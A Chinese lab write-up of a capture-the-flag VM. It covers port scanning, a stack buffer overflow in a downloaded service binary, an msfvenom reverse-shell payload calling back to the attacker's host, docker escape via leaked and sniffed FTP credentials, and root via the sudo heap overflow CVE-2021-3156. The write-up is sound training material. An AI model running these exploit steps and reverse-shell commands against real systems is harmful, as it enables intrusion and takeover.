声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 12 篇文章
缓冲区溢出,流量抓包分析,
docker容器判断,堆溢出漏洞提权
目标:拿到3个flag+2个root权限
fping -gaq 192.168.56.0/24
靶机ip:192.168.56.115
kali的ip:192.168.56.102
端口扫描:
nmap -p- 192.168.56.115 -oA nmap_port_scan
-oA将扫描结果保存
开放了21,22,80,2222,9898端口
服务版本以及操作系统类型探测:
nmap -sV -sC -O -p21,22,80,2222,9898 192.168.56.115 -oA nmap_version_port
21端口是ftp服务,允许Anonymous登录,有一个server_hogwarts文件;22是ssh服务;80是apache的http服务,2222也是ssh服务,但是和22端口的openssh版本不同;9898端口nmap不清楚是什么服务,但是从返回结果看,可以进行一些选项的输入,应该是一个应用程序。操作系统是Linux 4.15 - 5.6(debian)
但是一台靶机上面安装了不同openssh服务,这一点很奇怪。
只是一张图片,源代码也没有任何东西
对80端口进行目录爆破
gobuster dir -u http://192.168.56.115 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
没有任何有用目录出现
指定后缀爆破
gobuster dir -u http://192.168.56.115 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,sql,zip,bak
结果很是惊讶,同样没有
那么就只能转到别的端口
ftp 192.168.56.115
下载文件,使用file查看文件类型
发现是一个Linux下的可执行程序
给予server_hogwarts执行权限,执行
发现没有任何返回
查看是否有进程和是否开了一些端口
ps -aut | grep server
ss -pantu | grep server
发现执行这个程序,它开启了本机的9898端口,看到9898端口,结合前面的信息收集,目标靶机上面也开放了9898端口,会不会目标靶机上面的9898端口运行的就是这个程序呢
先使用nc连接kali的9898端口
这个程序运行的就是类似魔法的,选中一个魔法,后面返回这个魔法成功运行
nc连接目标的9898端口
发现目标的9898端口访问的内容和下载的server_hogwarts程序运行的一样,那么就检测这个程序是否有漏洞
进行验证这个程序是否有缓冲区溢出等漏洞前,先关闭本机的alsr功能(Address Space Layout Randomzation)地址空间布局随机化。这个功能是为了防止自己的程序有漏洞,但是黑客没有办法获取到这个程序的地址,从而防止攻击。
cd /proc/sys/kernel
修改这个路径下的文件randomize_va_space为0
那么这里验证缓冲区漏洞,使用到一款动态调试工具edb-debugger,是一款图形化工具
安装:kali上面使用apt install edb-debugger进行安装,如果安装过程中出现依赖关系,那么就更新依赖的相应的程序。
打开edb-debugger工具,点击左上方的file的attach功能,选中server_hogwarts进程
attach进程之后,点击类似播放的箭头(不然无法后续操作)
nc连接9898端口,只有一个输入位置,在这个位置注入500个A
注入之后,发现edb中的EIP寄存器都是A,并且ESP寄存器也是A,所以这里存在缓冲区溢出漏洞
EIP寄存器存放的是cup下次即将执行的指令的地址,ESP寄存器是存放具体的代码
那么这个缓冲区漏洞的利用就明确了,去找到EIP寄存器存放的是哪几个A,将其强制指向ESP寄存器的地址,然后ESP寄存器存放要执行的反弹shell
使用msf-pattern_create脚本生成500个不重复的内容
重新提交到9898端口(每次提交都重新运行server_hogwarts程序,并且重新attach这个进程,shift+f8停止edb的进程)
那么使用msf-pattern_offset来查询EIP寄存器的内容的偏移量
msf-pattern_offset -l 500 -q 64413764
那么则说明113,114,115,116的位置存放的是EIP寄存器的内容
使用python重新生成一段,进行验证
EIP寄存器被42所占满,证明113,114,115,116的位置存放的是EIP寄存器的内容
那么去寻找一条jmp ESP的指令,然后构造一个payload执行反弹shell,edb中有寻找的功能
有一个操作码的查询
寻找esp指向eip,过滤具有server_hogwarts可执行权限的进程
将jmp esp的操作码记录下来
但是需要将操作码反过来,因为eip寄存器的操作码是相反的
也就是\x55\x9d\x04\08
使用msfvenom生成一段反弹shell,-b过滤\x00字符,-p生成py文件
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.169.56.102 lport=4444 -b "\x00" -f py
构造一个exp,先测试本地的server_hogwarts程序
添加32个0x90,不仅不会影响程序执行的逻辑(遇到0x90往下执行),而且是为了提高攻击代码稳定性和可实现性执行的保障
执行exp(仍然需要重启程序)
反弹shell成功
那么修改payload的IP地址为目标靶机的ip
成功反弹shell
ip a
发现这个ip不是靶机的ip
cat /proc/1/cgroup
发现有docker的hash
并且隐藏文件有.dockerenv文件,那么这里处于docker容器中
这就很好的解释了前面信息收集的过程中,为什么会有两个版本不同的openssh服务
在harry的目录下发现有.mycreds.txt隐藏文件
发现一串类似账号密码的字符串
尝试在两个ssh端口使用harry/[email protected]进行ssh登录
在2222端口成功登录,获得一个较好的shell,但是还是处于docker容器中
sudo -l
发现harry具有root的全部权限,sudo -s提升为root
拿到第一个flag
在root目录下,发现有note.txt,里面说有人正在尝试登录ftp服务,需要去分析流量,找到用户
使用tcpdump进行流量抓包分析
tcpdump -i eth0 port 21 -i指定docker的网卡
发现有用户名neville,密码bL!Bsg3k
尝试ssh登录(目前docker没有用户)
获得靶机的初始shell和第二个flag
没有sudo权限可以利用,也没有定时任务
home目录下没有别的用户,当前目录下也没有suid权限的文件
操作系统用不了内核提权,通过搜索引擎,发现一个可以利用的漏洞cve-2021-3156
条件系统版本:Ubuntu 20.04 (Sudo 1.8.31), Debian 10**(Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2).
该漏洞可以影响从1.8.2~1.8.31p2下的所有旧版本sudo,以及1.9.0~1.9.5p1的所有稳定版sudo。
内核和sudo版本都满足
检测:输入sudoedit -s '' perl -e 'print "A" x 65536'
出现:malloc(): corrupted top sizeAborted (core dumped)
在msf中已经纳入了这个漏洞,但是由于目标靶机和公开的exp中的sudo位置不同,所以需要手动修改exp的sudo位置
修改sudo的位置
将exp传输到目标靶机上
赋予执行权限,执行
提权成功,获得第三个flag
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0